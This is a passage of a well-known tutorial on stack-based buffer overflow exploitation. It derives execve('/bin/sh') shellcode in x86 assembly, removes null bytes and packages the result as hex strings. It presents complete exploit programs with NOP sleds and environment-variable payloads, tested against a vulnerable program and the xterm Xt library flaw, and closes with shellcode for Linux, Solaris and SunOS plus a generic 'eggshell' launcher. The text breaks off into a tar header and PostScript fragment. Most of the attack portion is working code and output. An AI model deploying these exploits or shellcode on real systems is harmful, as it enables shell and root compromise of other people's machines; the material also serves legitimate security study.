address of name[] onto the stack. 0x800014a : movl 0xfffffff8(%ebp),%eax We load the address of the string "/bin/sh" into the EAX register. 0x800014d : pushl %eax We push the address of the string "/bin/sh" onto the stack. 0x800014e : call 0x80002bc <__execve> Call the library procedure execve(). The call instruction pushes the IP onto the stack. ------------------------------------------------------------------------------ Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx The procedure prelude. 0x80002c0 <__execve+4>: movl $0xb,%eax Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copy the address of "/bin/sh" into EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copy the address of name[] into ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copy the address of the null pointer into %edx. 0x80002ce <__execve+18>: int $0x80 Change into kernel mode. ------------------------------------------------------------------------------ So as we can see there is not much to the execve() system call. All we need to do is: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Our improved code: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ And our new test program: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell. The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Lets assume this is the program we are trying to overflow is: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Now we can try to guess what the buffer and offset should be: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack The new exploits is then: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/sh ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHH Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "^1FF V 1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTT Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell. Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~ There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this: NULLNULL Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Lets try our new exploit with our vulnerable test program: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Works like a charm. Now lets try it on xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name " Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets. Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d. Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------ buffer-overflows/buf.ps100644 0 0 207076 6347415677 13651 0ustar rootroot%!PS-Adobe-3.0 %%Creator: PSCRIPT %%Title: buf.doc %%BoundingBox: 18 9 593 784 %%DocumentNeededResources: (atend) %%DocumentSuppliedResources: 